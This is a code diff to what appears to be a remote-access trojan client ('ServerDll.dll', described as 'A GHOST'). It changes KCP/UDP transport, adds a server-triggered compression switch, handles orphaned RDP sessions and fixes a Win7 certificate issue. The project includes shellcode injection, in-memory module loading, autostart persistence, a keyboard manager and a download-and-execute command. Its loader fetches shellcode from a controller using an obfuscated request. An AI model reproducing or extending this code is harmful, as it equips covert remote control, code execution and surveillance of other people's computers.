|
||||
|
||||
// 设置KCP参数
|
||||
ikcp_nodelay(kcp_, 1, 40, 2, 0);
|
||||
kcp_->rx_minrto = 30;
|
||||
kcp_->snd_wnd = 128;
|
||||
kcp_->rcv_wnd = 128;
|
||||
|
||||
// 设置发送回调函数(KCP发送数据时调用)
|
||||
kcp_->output = IOCPKCPClient::kcpOutput;
|
||||
}
|
||||
|
||||
running_ = true;
|
||||
updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this);
|
||||
@@ -46,34 +77,96 @@ BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 取出(或继续交付)一条已完整的应用消息。调用方缓冲装不下时整条读出、
|
||||
// 分片交付,避免 ikcp_recv 返回 -3 且不消费导致队头永久卡死。
|
||||
int IOCPKCPClient::RecvOneLocked(char* buffer, int bufSize)
|
||||
{
|
||||
int peek = ikcp_peeksize(kcp_);
|
||||
if (peek <= 0)
|
||||
return 0;
|
||||
if (peek <= bufSize) {
|
||||
int n = ikcp_recv(kcp_, buffer, bufSize);
|
||||
return n > 0 ? n : 0;
|
||||
}
|
||||
std::vector<char> big(peek);
|
||||
int n = ikcp_recv(kcp_, big.data(), peek);
|
||||
if (n <= 0)
|
||||
return 0;
|
||||
m_pendingRecv.assign(big.begin(), big.begin() + n);
|
||||
m_pendingPos = 0;
|
||||
return DrainPendingLocked(buffer, bufSize);
|
||||
}
|
||||
|
||||
int IOCPKCPClient::DrainPendingLocked(char* buffer, int bufSize)
|
||||
{
|
||||
if (bufSize <= 0)
|
||||
return 0;
|
||||
size_t remain = m_pendingRecv.size() - m_pendingPos;
|
||||
int take = (remain < (size_t)bufSize) ? (int)remain : bufSize;
|
||||
memcpy(buffer, m_pendingRecv.data() + m_pendingPos, take);
|
||||
m_pendingPos += take;
|
||||
if (m_pendingPos >= m_pendingRecv.size()) {
|
||||
m_pendingRecv.clear();
|
||||
m_pendingPos = 0;
|
||||
}
|
||||
return take;
|
||||
}
|
||||
|
||||
bool IOCPKCPClient::HasPendingAppData()
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(kcpMutex_);
|
||||
// ikcp_peeksize 只读 KCP 队列,不消费数据;用它在不进 recvfrom 的前提下
|
||||
// 判断是否还有已到齐的消息。
|
||||
return kcp_ && (!m_pendingRecv.empty() || ikcp_peeksize(kcp_) > 0);
|
||||
}
|
||||
|
||||
// UDP收包线程调用,将收到的UDP包送入KCP处理,再尝试读取完整应用包
|
||||
int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
// 先调用基类接收UDP原始数据
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(kcpMutex_);
|
||||
if (!kcp_)
|
||||
return 0;
|
||||
// 先交付上一轮大消息的剩余分片、以及 KCP 里已经到齐的消息。这时不能
|
||||
// 先去 recvfrom:分片可能都已到齐而没有后续数据报,recvfrom 会一直阻塞。
|
||||
if (!m_pendingRecv.empty())
|
||||
return DrainPendingLocked(buffer, bufSize);
|
||||
if (ikcp_peeksize(kcp_) > 0)
|
||||
return RecvOneLocked(buffer, bufSize);
|
||||
}
|
||||
|
||||
// 没有待交付数据,再去收新的 UDP 数据报(外层已用 select 确认可读)
|
||||
char udpBuffer[1500] = { 0 };
|
||||
int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags);
|
||||
if (recvLen <= 0)
|
||||
return recvLen;
|
||||
|
||||
std::lock_guard<std::mutex> lock(kcpMutex_);
|
||||
// 重连/析构可能在 recvfrom 期间把会话释放掉(kcp_ 置空),必须锁内复查。
|
||||
if (!kcp_)
|
||||
return 0;
|
||||
// 输入KCP协议栈
|
||||
int inputRet = ikcp_input(kcp_, udpBuffer, recvLen);
|
||||
if (inputRet < 0)
|
||||
return -1;
|
||||
|
||||
// 从KCP中读取应用层数据,写入buffer
|
||||
int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize);
|
||||
return kcpRecvLen; // >0表示收到完整应用数据,0表示无完整包
|
||||
if (ikcp_peeksize(kcp_) <= 0)
|
||||
return 0; // 数据报已收下,但还没有完整应用消息
|
||||
return RecvOneLocked(buffer, bufSize);
|
||||
}
|
||||
|
||||
bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag)
|
||||
{
|
||||
int iReceivedLength = ReceiveData(szBuffer, len, flag);
|
||||
if (iReceivedLength <= 0)
|
||||
{}
|
||||
else {
|
||||
// 一条应用消息可能被切成多个分片交付(见 RecvOneLocked)。这里连续交付
|
||||
// 直到没有已到齐的数据为止,避免大消息要等下一个心跳/数据报才继续。
|
||||
for (;;) {
|
||||
int iReceivedLength = ReceiveData(szBuffer, len, flag);
|
||||
if (iReceivedLength <= 0)
|
||||
break;
|
||||
szBuffer[iReceivedLength] = 0;
|
||||
//正确接收就调用OnRead处理,转到OnRead
|
||||
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
|
||||
if (!HasPendingAppData())
|
||||
break;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
@@ -81,16 +174,20 @@ bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
// 发送应用层数据时调用,转发给KCP协议栈
|
||||
int IOCPKCPClient::SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(kcpMutex_);
|
||||
// 判空必须在锁内:重连/析构会在锁内把 kcp_ 置空,锁外判空后再取用会踩空指针。
|
||||
if (!kcp_)
|
||||
return -1;
|
||||
|
||||
int ret = ikcp_send(kcp_, buf, len);
|
||||
if (ret < 0)
|
||||
return -1;
|
||||
|
||||
// 主动调用flush,加快发送
|
||||
ikcp_flush(kcp_);
|
||||
return ret;
|
||||
// ikcp_send 成功时返回 0,而调用方(SendWithSplit / SendLoginInfo)按
|
||||
// “返回值 = 已发送字节数,> 0 才算成功”判断;返回 0 会被当成失败重试 15 次,
|
||||
// 导致登录包每 1~3 秒无限重发、心跳循环永远进不去。这里返回 len。
|
||||
return len;
|
||||
}
|
||||
|
||||
// KCP发送数据回调,将KCP生成的UDP包发送出去
|
||||
@@ -111,8 +208,11 @@ int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void*
|
||||
void IOCPKCPClient::KCPUpdateLoop()
|
||||
{
|
||||
while (running_ && !g_bExit) {
|
||||
IUINT32 current = GetTickCount64();
|
||||
ikcp_update(kcp_, current);
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(kcpMutex_);
|
||||
IUINT32 current = GetTickCount64();
|
||||
ikcp_update(kcp_, current);
|
||||
}
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20ms周期,视需求调整
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
#include "ikcp.h"
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
#include <vector>
|
||||
|
||||
class IOCPKCPClient : public IOCPUDPClient
|
||||
{
|
||||
@@ -17,6 +18,8 @@ public:
|
||||
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override;
|
||||
|
||||
bool IsKcpTransport() const override { return true; }
|
||||
|
||||
// 重写发送函数:将应用数据通过KCP发送
|
||||
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||
|
||||
@@ -27,8 +30,21 @@ private:
|
||||
// 定时调用ikcp_update的线程函数
|
||||
void KCPUpdateLoop();
|
||||
|
||||
// 以下三个都在持有 kcpMutex_ 时调用/检查。
|
||||
int DrainPendingLocked(char* buffer, int bufSize);
|
||||
int RecvOneLocked(char* buffer, int bufSize);
|
||||
bool HasPendingAppData();
|
||||
|
||||
private:
|
||||
ikcpcb* kcp_;
|
||||
std::thread updateThread_;
|
||||
std::atomic<bool> running_;
|
||||
// KCP 的多线程保护:网络线程(send/flush、input/recv)和更新线程(update)
|
||||
// 共用同一份 ikcp 状态,不加锁会在大消息(预览等几十个分片)时把内部队列搞乱。
|
||||
std::mutex kcpMutex_;
|
||||
// 大消息分片交付:ikcp_recv 一次返回整条消息,而调用方缓冲只有
|
||||
// MAX_RECV_BUFFER-1;大于缓冲的消息若直接 ikcp_recv 会返回 -3 且不消费,
|
||||
// 队头永久卡住。这里整条取出后分几次交给上层(与 TCP 的分片读取语义一致)。
|
||||
std::vector<char> m_pendingRecv;
|
||||
size_t m_pendingPos = 0;
|
||||
};
|
||||
@@ -3,6 +3,9 @@
|
||||
|
||||
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
// 与基类一致:每次建连都清掉上一条连接的登录确认。UDP/KCP 重连复用同一个
|
||||
// 对象,残留的 ack 会让协议切换的“登录被接受才撤销回退计时”立刻误判成功。
|
||||
SetLoginAcked(false);
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
|
||||
@@ -13,4 +13,6 @@ public:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||
|
||||
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||
|
||||
bool IsDatagramTransport() const override { return true; }
|
||||
};
|
||||
@@ -17,6 +17,7 @@
|
||||
#include "IOCPUDPClient.h"
|
||||
#include "IOCPKCPClient.h"
|
||||
#include "auto_start.h"
|
||||
#include "start_gate.h"
|
||||
#include "ShellcodeInj.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ScreenPreview.h"
|
||||
@@ -952,6 +953,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("======> Local test client: ignore forbidden \n");
|
||||
break;
|
||||
}
|
||||
const bool isAuthKernel = this->IsAuthKernel();
|
||||
if (isAuthKernel) {
|
||||
iniFile cfg(YAMA_PATH);
|
||||
StartGate::Delay(cfg, "auth", StartGate::kDefaultDelaySec);
|
||||
Mprintf("======> next=%d \n", StartGate::Get(cfg, "auth"));
|
||||
} else if (m_cfg) {
|
||||
StartGate::Delay(*m_cfg, "settings", StartGate::kDefaultDelaySec);
|
||||
Mprintf("======> next=%d \n", StartGate::Get(*m_cfg, "settings"));
|
||||
}
|
||||
TerminateProcess(GetCurrentProcess(), 0);
|
||||
break;
|
||||
}
|
||||
@@ -1058,7 +1068,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
p.host[sizeof(p.host) - 1] = '\0';
|
||||
p.port[sizeof(p.port) - 1] = '\0';
|
||||
const int proto = p.proto;
|
||||
if (proto != PROTO_TCP && proto != PROTO_WS && proto != PROTO_WSS) {
|
||||
// UDP/KCP 是实验传输(主控通过 ghost/UDPOption 配置对应端口后才会下发);
|
||||
// 入口就是主控地址 + 该传输端口,走与 WS/WSS 相同的 override 持久化路径。
|
||||
if (proto != PROTO_TCP && proto != PROTO_WS && proto != PROTO_WSS
|
||||
&& proto != PROTO_UDP && proto != PROTO_KCP) {
|
||||
Mprintf("[proto-switch] unsupported proto %d, ignored\n", proto);
|
||||
break;
|
||||
}
|
||||
@@ -1126,6 +1139,56 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SET_COMPRESS: {
|
||||
// 线缆压缩切换(zstd / zlib):写本机配置后只断开当前连接,复用 IOCPClient
|
||||
// 原地切换 m_useZlib,由 StartClient 重连循环用新模式建链。不能置 S_CLIENT_UPDATE:
|
||||
// 进程内测试客户端的 AutoRun 只在 S_SERVER_EXIT 时重启,详见下方断连处说明。
|
||||
std::string mode;
|
||||
if (ulLength > 1)
|
||||
mode.assign((const char*)szBuffer + 1, ulLength - 1);
|
||||
while (!mode.empty() && (mode.back() == '\0' || mode.back() == ' ' ||
|
||||
mode.back() == '\r' || mode.back() == '\n'))
|
||||
mode.pop_back();
|
||||
for (size_t i = 0; i < mode.size(); ++i) {
|
||||
if (mode[i] >= 'A' && mode[i] <= 'Z')
|
||||
mode[i] = (char)(mode[i] - 'A' + 'a');
|
||||
}
|
||||
if (mode != "zlib" && mode != "zstd") {
|
||||
Mprintf("[compress-switch] unsupported mode '%s', ignored\n", mode.c_str());
|
||||
break;
|
||||
}
|
||||
// 分享实例不能改写整机的线缆压缩配置:它跑的是同一个 OnReceive,放行的话
|
||||
// 分享目标主控就能改掉主机连归属方的模式,主机下次重启会按别家的选择连回来。
|
||||
if (!m_ClientApp || !m_ClientApp->IsMainInstance()) {
|
||||
Mprintf("[compress-switch] refused: not the main instance\n");
|
||||
ClientMsg msg("线缆压缩", "Compression switch refused: only the owning master may switch");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
// 存在分享链路时只允许切回 zstd。压缩模式是整机配置(settings\compress),
|
||||
// 分享实例及后续子连接都会继承;对端若只支持 zstd(如 Go 服务端),切到
|
||||
// zlib 会让分享链路在下次建连后失联。zstd 对所有对端都兼容。
|
||||
if (mode == "zlib" && m_cfg && !m_cfg->GetStr("settings", "share_list").empty()) {
|
||||
Mprintf("[compress-switch] refused zlib: share links present\n");
|
||||
ClientMsg msg("线缆压缩", "Compression switch refused: this host has share links; cancel sharing before switching to zlib");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
if (m_cfg)
|
||||
m_cfg->SetStr("settings", "compress", mode);
|
||||
Mprintf("[compress-switch] set to %s, reconnecting\n", mode.c_str());
|
||||
// 只断开当前连接,不要置 S_CLIENT_UPDATE:进程内测试客户端(MemoryModule 加载的
|
||||
// ServerDll)的 AutoRun 只在 S_SERVER_EXIT 时重启,S_CLIENT_UPDATE 会让 TestRun
|
||||
// 直接返回、AutoRun 退出,客户端停死且主控的"运行测试程序"菜单永久置灰。
|
||||
// 重连循环复用同一个 IOCPClient,这里先把压缩模式切过去即可;子连接在重连后
|
||||
// 由新的 Manager 按配置重建。先断开再切模式,避免旧连接上还有包用新算法发出。
|
||||
if (m_ClientObject) {
|
||||
m_ClientObject->Disconnect();
|
||||
m_ClientObject->SetWireCompression(mode == "zlib");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC: {
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
break;
|
||||
@@ -1427,6 +1490,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
// 主机当前走 zlib 时不接受分享:分享实例构造时会读整机 compress
|
||||
// 配置,带着 zlib 去连分享目标;对端若只支持 zstd(如 Go 服务端),
|
||||
// 这条分享链路一建就连不上。先切回 zstd 再分享。
|
||||
// 按配置判断而非当前连接:并行上线时当前连接的模式可能已不是新实例
|
||||
// 将要使用的模式(配置由收到切换命令的那条连接写入,是整机共享的)。
|
||||
if (IOCPClient::ConfiguredWireZlib()) {
|
||||
Mprintf("Share ignored: client uses zlib wire compression\n");
|
||||
ClientMsg msg("分享主机", "Client uses zlib wire compression, switch it back to zstd before sharing");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
if (targetKey.empty())
|
||||
break;
|
||||
auto share = targetKey;
|
||||
|
||||
@@ -396,9 +396,41 @@ static BOOL IsRunningAsAdmin()
|
||||
return isAdmin;
|
||||
}
|
||||
|
||||
// 恢复控制台会话(解决 RDP 断开后黑屏问题)
|
||||
// 当用户通过 RDP 连接后断开,物理控制台可能处于 Disconnected 状态
|
||||
// 此函数检测并将活跃的 RDP 会话切换回控制台
|
||||
// 判断一个 Active 的 RDP 会话是否「孤立」——客户端已经不在了,但会话状态
|
||||
// 还停留在 WTSActive(异常断线时会出现)。这种会话没有显示输出:GDI BitBlt
|
||||
// 抓到全黑、DXGI Desktop Duplication 拿不到帧,但 WTSDisconnected 判定不成立,
|
||||
// 老逻辑不会触发 tscon,表现为「远程桌面黑屏、点 RDP 会话归位没反应」。
|
||||
// 用 WTSClientName 判断有没有真实客户端:只有查不到客户端名才返回 TRUE,
|
||||
// 真人正在用的 RDP 会话一律不碰。
|
||||
static BOOL IsOrphanedActiveRdpSession(DWORD sid, WTS_CONNECTSTATE_CLASS state, const char* winStation)
|
||||
{
|
||||
if (state != WTSActive || sid == 0 || sid >= 65536) return FALSE;
|
||||
// 只处理 RDP 会话;console / 服务会话不在范围内
|
||||
if (!winStation || _strnicmp(winStation, "RDP-Tcp", 7) != 0) return FALSE;
|
||||
// 已经挂在物理控制台上,说明有真实显示输出,不需要归位
|
||||
const DWORD consoleSession = WTSGetActiveConsoleSessionId();
|
||||
if (consoleSession == sid) return FALSE;
|
||||
|
||||
LPSTR clientName = NULL;
|
||||
DWORD bytes = 0;
|
||||
BOOL hasClient = FALSE;
|
||||
if (WTSQuerySessionInformationA(WTS_CURRENT_SERVER_HANDLE, sid, WTSClientName,
|
||||
&clientName, &bytes)) {
|
||||
// 只要 API 分配了缓冲区就要释放,即使 bytes==0(否则泄漏)
|
||||
if (clientName) {
|
||||
hasClient = bytes > 0 && clientName[0] != '\0';
|
||||
WTSFreeMemory(clientName);
|
||||
}
|
||||
}
|
||||
Mprintf("[RestoreConsole] Session %d active RDP: client=%s, consoleSession=%u\n",
|
||||
sid, hasClient ? "yes" : "no", consoleSession);
|
||||
return !hasClient;
|
||||
}
|
||||
|
||||
// 恢复控制台会话(解决 RDP 断开/孤立后黑屏问题)
|
||||
// 当用户通过 RDP 连接后断开,物理控制台可能处于 Disconnected 状态;
|
||||
// 客户端异常断线时也可能留下「Active 但没有客户端」的孤立会话。
|
||||
// 此函数检测并将当前会话切换回控制台。
|
||||
// 需要 SYSTEM 或管理员权限
|
||||
static BOOL RestoreConsoleSession()
|
||||
{
|
||||
@@ -432,13 +464,17 @@ static BOOL RestoreConsoleSession()
|
||||
|
||||
Mprintf("[RestoreConsole] Session %d (%s): State=%d\n", sid, name, state);
|
||||
|
||||
// 如果当前进程在用户会话中(非Session 0),检查该会话是否断开
|
||||
// 如果当前进程在用户会话中(非Session 0),检查该会话是否断开/孤立
|
||||
if (currentSessionId != 0 && sid == currentSessionId) {
|
||||
if (state == WTSDisconnected) {
|
||||
currentSessionDisconnected = TRUE;
|
||||
targetSessionId = sid;
|
||||
foundTarget = TRUE;
|
||||
Mprintf("[RestoreConsole] Current session %d is disconnected\n", sid);
|
||||
} else if (IsOrphanedActiveRdpSession(sid, state, name)) {
|
||||
targetSessionId = sid;
|
||||
foundTarget = TRUE;
|
||||
Mprintf("[RestoreConsole] Current session %d is orphaned (active RDP without client)\n", sid);
|
||||
}
|
||||
}
|
||||
// 如果进程在Session 0(SYSTEM服务),查找断开的用户会话
|
||||
@@ -476,7 +512,8 @@ static BOOL RestoreConsoleSession()
|
||||
Mprintf("[RestoreConsole] CreateProcess failed: %d\n", GetLastError());
|
||||
}
|
||||
} else {
|
||||
Mprintf("[RestoreConsole] No disconnected session to restore\n");
|
||||
Mprintf("[RestoreConsole] No session to restore (current=%d, console=%u)\n",
|
||||
currentSessionId, WTSGetActiveConsoleSessionId());
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
@@ -729,11 +766,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
This->WaitForDialogOpen();
|
||||
|
||||
clock_t last = clock();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
int c1 = 0; // 连续耗时长的次数
|
||||
int c2 = 0; // 连续耗时短的次数
|
||||
|
||||
+2
-2
@@ -103,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,4,3
|
||||
FILEVERSION 1,0,4,4
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -121,7 +121,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.4.3"
|
||||
VALUE "FileVersion", "1.0.4.4"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
+3
-7
@@ -6,16 +6,12 @@
|
||||
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||
|
||||
// 是否使用ZLIB
|
||||
#define USING_ZLIB 0
|
||||
|
||||
#if !USING_ZLIB
|
||||
|
||||
// 客户端线缆压缩:Windows 客户端同时编译 zlib 与 zstd,运行期由 settings\compress
|
||||
// 选择(默认 zstd;配置为 zlib 时使用 zlib)。服务端可通过 COMMAND_SET_COMPRESS
|
||||
// 写入该配置并触发重连,见 client/IOCPClient.cpp 与 KernelManager 的处理分支。
|
||||
#define USING_ZSTD 1
|
||||
#define USING_CTX 1
|
||||
|
||||
#endif
|
||||
|
||||
// 是否使用 Opus 音频压缩 (需要 opus 库)
|
||||
// 设为 1 启用 Opus 压缩,设为 0 使用 PCM 无压缩
|
||||
#define USING_OPUS 1
|
||||
|
||||
Binary file not shown.
@@ -164,6 +164,7 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\aes.c" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
@@ -173,6 +174,7 @@
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
|
||||
@@ -153,8 +153,12 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\aes.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
||||
@@ -18,5 +18,13 @@
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\common\aes.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+10
-2
@@ -15,6 +15,7 @@
|
||||
#include <fstream> // std::ifstream
|
||||
#include <iterator> // std::istreambuf_iterator
|
||||
#include <string>
|
||||
#include <cstddef> // offsetof(CERT_CHAIN_ENGINE_CONFIG 的 Win7 兼容尺寸)
|
||||
#include <map> // std::map(域名解析缓存)
|
||||
#include <mutex> // std::mutex
|
||||
|
||||
@@ -421,12 +422,19 @@ TlsAnchor BuildTlsAnchor(bool allowEmbedded, bool quiet, HCERTSTORE* outStore,
|
||||
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
|
||||
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
|
||||
CERT_CHAIN_ENGINE_CONFIG ec = {};
|
||||
ec.cbSize = sizeof(ec);
|
||||
// 兼容 Windows 7:本工程未定义 _WIN32_WINNT,SDK 默认按 Win10 编译,结构体因此
|
||||
// 含只有 Win8+ 才有的 dwExclusiveFlags,sizeof 比 Win7 已知尺寸大 8 字节。Win7
|
||||
// 的 CertCreateCertificateChainEngine 只认识结构体到 hExclusiveTrustedPeople 为止,
|
||||
// 传入更大的 cbSize 会返回 FALSE(ERROR_INVALID_PARAMETER),客户端随即 fail-closed。
|
||||
// 这里显式按 Win7 尺寸传递;Win8+ 接受较旧尺寸,未使用的 dwExclusiveFlags 视为 0。
|
||||
ec.cbSize = (DWORD)offsetof(CERT_CHAIN_ENGINE_CONFIG, hExclusiveTrustedPeople)
|
||||
+ (DWORD)sizeof(HCERTSTORE);
|
||||
ec.hExclusiveRoot = store;
|
||||
HCERTCHAINENGINE engine = NULL;
|
||||
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
|
||||
DWORD le = GetLastError();
|
||||
CertCloseStore(store, 0);
|
||||
err = "CertCreateCertificateChainEngine failed";
|
||||
err = "CertCreateCertificateChainEngine failed (error " + std::to_string(le) + ")";
|
||||
return TLS_ANCHOR_INVALID;
|
||||
}
|
||||
|
||||
|
||||
@@ -55,11 +55,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
|
||||
// 等控制端对话框打开
|
||||
This->WaitForDialogOpen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
|
||||
timeBeginPeriod(1);
|
||||
|
||||
+41
-2
@@ -9,6 +9,8 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "../common/hash.h"
|
||||
#include "../common/aes.h"
|
||||
#include "../common/aes_key.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define Mprintf printf
|
||||
@@ -20,6 +22,10 @@
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifndef MAX_CONNECT_FAILS
|
||||
#define MAX_CONNECT_FAILS 3
|
||||
#endif
|
||||
|
||||
#pragma pack(push, 4)
|
||||
typedef struct PkgHeader {
|
||||
char flag[8];
|
||||
@@ -65,11 +71,36 @@ PkgHeader MakePkgHeader(int originLen)
|
||||
{
|
||||
PkgHeader header = { 0 };
|
||||
memcpy(header.flag, "Hello?", 6);
|
||||
header.flag[7] = 1;
|
||||
header.originLen = originLen;
|
||||
header.totalLen = sizeof(PkgHeader) + originLen;
|
||||
return header;
|
||||
}
|
||||
|
||||
static void gen_aes_bytes(BYTE* out) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
out[i] = (BYTE)(rand() & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t pseudo_random(int index) {
|
||||
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||
}
|
||||
|
||||
static void encrypt(unsigned char* data, int len) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||
}
|
||||
for (int round = 0; round < 2; ++round) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
int j = pseudo_random(i + round * 100) % len;
|
||||
unsigned char tmp = data[i];
|
||||
data[i] = data[j];
|
||||
data[j] = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||
{
|
||||
struct sockaddr_in sa = { 0 };
|
||||
@@ -272,10 +303,10 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
const int bufSize = (8 * 1024 * 1024);
|
||||
char* buffer = NULL;
|
||||
BOOL isFirstConnect = TRUE;
|
||||
int attemptCount = 0, requestCount = 0;
|
||||
int attemptCount = 0, requestCount = 0, connectFailCount = 0;
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(IsRelease ? rand() % 120 * 1000 : 5000);
|
||||
Sleep((IsRelease && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 120 * 1000 : 5000);
|
||||
isFirstConnect = FALSE;
|
||||
if (++attemptCount == 20)
|
||||
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
|
||||
@@ -295,15 +326,20 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (++connectFailCount >= MAX_CONNECT_FAILS && hash[0])
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
connectFailCount = 0;
|
||||
|
||||
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
|
||||
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||||
memcpy(command + 32, hash, 32);
|
||||
PkgHeader h = MakePkgHeader(sizeof(command));
|
||||
memcpy(req, &h, sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||
int bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
@@ -346,6 +382,9 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
continue;
